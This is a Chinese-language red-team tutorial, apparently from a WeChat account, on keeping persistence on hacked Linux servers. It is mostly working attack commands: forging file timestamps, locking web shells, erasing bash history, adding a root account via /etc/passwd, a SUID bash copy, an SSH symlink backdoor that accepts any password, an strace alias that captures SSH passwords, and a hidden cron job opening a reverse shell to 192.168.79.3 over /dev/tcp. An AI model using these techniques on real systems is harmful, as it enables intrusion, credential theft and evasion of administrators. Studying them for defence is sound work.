零基础学黑客,搜索公众号:白帽子左一
作者:掌控安全—杰斯
在红蓝对抗过程中拿到目标权限只是开始,当我们在渗透过程中通过漏洞获取到目标主机权限后,往往会因为服务器管理员发现和修补漏洞而导致对服务器权限的丢失,所以权限维持就显得很重要了。
在前面几篇中,我们介绍了windows的提权及权限维持,Linux提权的几种方法也进行了总结,本期我们将继续对Linux的权限维持进行探究.
关联阅读: Windows常见的几种提权方法、红队常见Windows的几种权限维持、红队常见Linux的几种提权方法
1.1)修改文件的创建时间
如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题
使用touch命令来修改文件的创建时间
touch -r 1.txt 2.txt
1.2)文件锁定
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
chattr +i evil.php #锁定文件
rm -rf evil.php #提示禁止删除
在shell中执行的命令,不希望被记录在命令行历史中
2.1)只针对你的工作关闭历史记录
[space]set +o history #备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history #将环境恢复原状
2.2)从历史记录中删除指定的命令
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
删除大规模历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' .bash_history
/etc/passwd 各部分含义:用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义:用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
获取密码的MD5加密值
perl -le 'print crypt("passwd","salt")'
将文件写入 /etc/passwd中
切换用户,增加成功
当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:
1、SUID权限仅对二进制程序有效。
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限
直接演示:
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot
ls -al /.woot
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 .woot
使用一般用户运行:
/tmp/.woot
/tmp/.woot -p //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell
5.1)SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测uid 0 即可认证成功,这样就导致了可以使用任意密码登录。
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
远程连接,密码可以任意
5.2)SSH 公钥免密码登陆
生成公钥
ssh-keygen -t rsa
到ssh目录中,将公钥id_rsa.pub内容放到目标.ssh/authorized_keys里
cd ~/.ssh
到ssh目录中,将公钥id_rsa.pub内容放到目标.ssh/authorized_keys里
复制id_ras的内容到客户端
设置权限,并且登陆
5.3)SSH Keylogger记录密码
当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码
设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用:
之后用户使用的ssh命令的记录,就会保存到tmp的目录下。
grep -A 9 'password' .ssh-2210月101634901802.log
Cron是ubuntu下默认启动的用户执行计划。
它会按照设置,在固定的周期或者按照一定时间执行某一个任务。
它是一项服务,你可以使用基本的服务查看状态命令等查看信息。
service cron status # 查看信息
查看普通用户的执行计划。
crontab -l
做一个反弹shell的任务
crontab -e 编辑任务
crontab -l 列出任务
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/2334 0>&1';\r%100c\n")|crontab -
收到反弹的shell
ps:计划任务路径:cat /var/spool/cron/crontabs/root,root是计划任务的文件 使用cat是看不到内容的 因为是用了某些特殊字符 导致某些内容被隐藏可以使用 crontab -e 编辑任务可以看到反弹shell的内容
适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux
新建一个1.py,文件的内容作用是设置后门
将netstat -anpt 查看到的可疑连接隐藏起来
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
客户端进行shell连接
申明:本号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.